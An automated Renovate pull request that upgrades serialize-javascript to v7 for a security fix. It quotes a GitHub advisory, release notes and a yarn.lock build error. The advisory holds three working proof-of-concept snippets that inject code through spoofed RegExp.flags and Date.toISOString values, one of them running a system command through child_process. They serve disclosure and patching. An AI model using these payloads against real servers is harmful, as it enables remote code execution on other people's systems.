Update dependency serialize-javascript to v7 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
serialize-javascript	^3.1.0 → ^7.0.0

---

Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

GHSA-5c6j-r48x-rmvq

More information

Details

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!

#h2. PoC 2: Code Injection via Date.toISOString()

const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!

#h2. PoC 3: Remote Code Execution

const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Severity

• CVSS Score: 8.1 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq
• https://nvd.nist.gov/vuln/detail/CVE-2020-7660
• https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9
• https://github.com/advisories/GHSA-hxcc-f52p-wc94
• https://github.com/yahoo/serialize-javascript
• https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

yahoo/serialize-javascript (serialize-javascript)

v7.0.3

Compare Source

• fix(CVE-2020-7660): fix for RegExp.flags and Date.prototype.toISOString (#​207) 2e609d0
• build(deps-dev): bump lodash from 4.17.21 to 4.17.23 (#​206) 42b7cdb

---

v7.0.2

Compare Source

What's Changed

• ci: bump GitHub Actions to latest versions by @​okuryu in #​203
• ci: setup trusted publishing workflow by @​okuryu in #​204
• release: v7.0.2 by @​okuryu in #​205

Full Changelog: yahoo/serialize-javascript@v7.0.1...v7.0.2

v7.0.1

Compare Source

What's Changed

• Add warning about using this package to send arbitrary data to worker threads by @​valadaptive in #​200
• security: sanitize function bodies by @​redonkulus in #​199
• docs: tweak README by @​okuryu in #​201
• release: v7.0.1 by @​okuryu in #​202

New Contributors

• @​redonkulus made their first contribution in #​199

Full Changelog: yahoo/serialize-javascript@v7.0.0...v7.0.1

v7.0.0

Compare Source

Breaking Changes

• requires Node.js v20+

What's Changed

• Bump mocha from 10.2.0 to 10.4.0 by @​dependabot[bot] in #​178
• Bump mocha from 10.4.0 to 10.5.2 by @​dependabot[bot] in #​183
• Bump nyc from 15.1.0 to 17.0.0 by @​dependabot[bot] in #​184
• Bump braces from 3.0.2 to 3.0.3 by @​dependabot[bot] in #​181
• Bump mocha from 10.5.2 to 10.7.0 by @​dependabot[bot] in #​185
• Bump mocha from 10.7.0 to 10.7.3 by @​dependabot[bot] in #​186
• Bump nyc from 17.0.0 to 17.1.0 by @​dependabot[bot] in #​187
• Bump mocha from 10.7.3 to 10.8.2 by @​dependabot[bot] in #​188
• feat: test on Node.js 22 and built-in test runner by @​okuryu in #​192
• Generate UID without randombytes dependency by @​valadaptive in #​196
• release: v7.0.0 by @​okuryu in #​197

New Contributors

• @​valadaptive made their first contribution in #​196

Full Changelog: yahoo/serialize-javascript@v6.0.2...v7.0.0

v6.0.2

Compare Source

• fix: serialize URL string contents to prevent XSS (#​173) f27d65d
• Bump @​babel/traverse from 7.10.1 to 7.23.7 (#​171) 02499c0
• docs: update readme with URL support (#​146) 0d88527
• chore: update node version and lock file e2a3a91
• fix typo (#​164) 5a1fa64

v6.0.1

Compare Source

What's Changed

• Bump mocha from 9.0.1 to 9.0.2 by @​dependabot in #​126
• Bump mocha from 9.0.2 to 9.0.3 by @​dependabot in #​127
• Bump path-parse from 1.0.6 to 1.0.7 by @​dependabot in #​129
• Bump mocha from 9.0.3 to 9.1.0 by @​dependabot in #​130
• Bump mocha from 9.1.0 to 9.1.1 by @​dependabot in #​131
• Bump mocha from 9.1.1 to 9.1.2 by @​dependabot in #​132
• Bump mocha from 9.1.2 to 9.1.3 by @​dependabot in #​133
• Bump mocha from 9.1.3 to 9.1.4 by @​dependabot in #​137
• Bump mocha from 9.1.4 to 9.2.0 by @​dependabot in #​138
• Bump chai from 4.3.4 to 4.3.6 by @​dependabot in #​140
• Bump ansi-regex from 5.0.0 to 5.0.1 by @​dependabot in #​141
• Bump mocha from 9.2.0 to 9.2.2 by @​dependabot in #​143
• Bump minimist from 1.2.5 to 1.2.6 by @​dependabot in #​144
• Bump mocha from 9.2.2 to 10.0.0 by @​dependabot in #​145
• Bump mocha from 10.0.0 to 10.1.0 by @​dependabot in #​149
• Bump chai from 4.3.6 to 4.3.7 by @​dependabot in #​150
• ci: test.yml - actions bump by @​piwysocki in #​151
• Bump minimatch from 3.0.4 to 3.1.2 by @​dependabot in #​152
• Bump mocha from 10.1.0 to 10.2.0 by @​dependabot in #​153
• Bump json5 from 2.1.3 to 2.2.3 by @​dependabot in #​155
• Fix serialization issue for 0n. by @​momocow in #​156
• Release v6.0.1 by @​okuryu in #​157

New Contributors

• @​piwysocki made their first contribution in #​151
• @​momocow made their first contribution in #​156

Full Changelog: yahoo/serialize-javascript@v6.0.0...v6.0.1

v6.0.0

Compare Source

Changelog

• Add support for URL's (#​123)
• Bump mocha from 9.0.0 to 9.0.1 (#​124)
• Bump mocha from 8.4.0 to 9.0.0 (#​121)
• Update Node.js CI matrix (#​122)
• Bump mocha from 8.3.2 to 8.4.0 (#​120)
• Bump lodash from 4.17.19 to 4.17.21 (#​119)
• Bump y18n from 4.0.0 to 4.0.1 (#​116)
• Bump chai from 4.3.3 to 4.3.4 (#​115)
• Bump mocha from 8.3.1 to 8.3.2 (#​114)
• Bump mocha from 8.3.0 to 8.3.1 (#​113)
• Bump chai from 4.3.1 to 4.3.3 (#​112)
• Bump chai from 4.2.0 to 4.3.1 (#​111)
• Bump mocha from 8.2.1 to 8.3.0 (#​109)
• Bump mocha from 8.1.3 to 8.2.1 (#​105)
• Drop Travis CI settings (#​100)
• Change default branch name to main (#​99)
• GitHub Aactions (#​98)

Behavior changes for URL objects

It serializes URL objects as follows since this version. The result of serialization may be changed if you are passing URL object values into the serialize-javascript.

const serialize = require("serialize-javascript");

serialize({u: new URL("http://example.com/")}); // '{"u":new URL("http://example.com/")}'

---

Thank you @​rrdelaney for this release.

v5.0.1

Compare Source

Changelog

• Exclude .vscode and .github directories from package (#​97)

v5.0.0

Compare Source

Changelog

• Bump mocha from 8.1.2 to 8.1.3 (#​96)
• Support sparse arrays (#​95)
• Bump mocha from 8.1.1 to 8.1.2 (#​94)
• Bump mocha from 8.1.0 to 8.1.1 (#​92)
• Create Dependabot config file (#​91)
• Bump mocha from 8.0.1 to 8.1.0 (#​90)
• Bump lodash from 4.17.15 to 4.17.19 (#​89)
• Bump mocha from 7.2.0 to 8.0.1 (#​88)

Behavior changes for sparse arrays

It serializes sparse arrays as follows since this version. The result of serialization may be changed if you are passing sparse arrays values into the serialize-javascript.

const serialize = require('serialize-javascript');

var a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
delete a[0];
a.length = 3;
a[5] = 'wat';
serialize(a) // 'Array.prototype.slice.call({"1":2,"2":3,"5":"wat","length":6})'

---

Thank you @​victorporof for this release.

v4.0.0

Compare Source

Changelog

• Bump nyc from 15.0.1 to 15.1.0 (#​85)
• support for bigint (#​80)

Behavior changes for BigInt

It serializes BigInt values as follows since this version. The result of serialization may be changed if you are passing BigInt values into the serialize-javascript.

v4.x:

const serialize = require('serialize-javascript');

serialize({big: BigInt('10')}); // '{"big":BigInt("10")}'

v3.x:

const serialize = require('serialize-javascript');

serialize({big: BigInt('10')}); // throws error

---

Thank you @​mum-never-proud for this release.

---

Configuration

📅 Schedule: (in timezone US/Eastern)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[renovate]

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

• any of the package files in this branch needs updating, or
• the branch becomes conflicted, or
• you click the rebase/retry checkbox if found above, or
• you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: yarn.lock

/opt/containerbase/tools/corepack/0.35.0/14.18.2/node_modules/corepack/dist/yarn.js:2
process.env.COREPACK_ENABLE_DOWNLOAD_PROMPT??='1'
                                           ^^^

SyntaxError: Unexpected token '??='
    at wrapSafe (internal/modules/cjs/loader.js:1001:16)
    at Module._compile (internal/modules/cjs/loader.js:1049:27)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:1114:10)
    at Module.load (internal/modules/cjs/loader.js:950:32)
    at Function.Module._load (internal/modules/cjs/loader.js:790:12)
    at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:76:12)
    at internal/main/run_main_module.js:17:47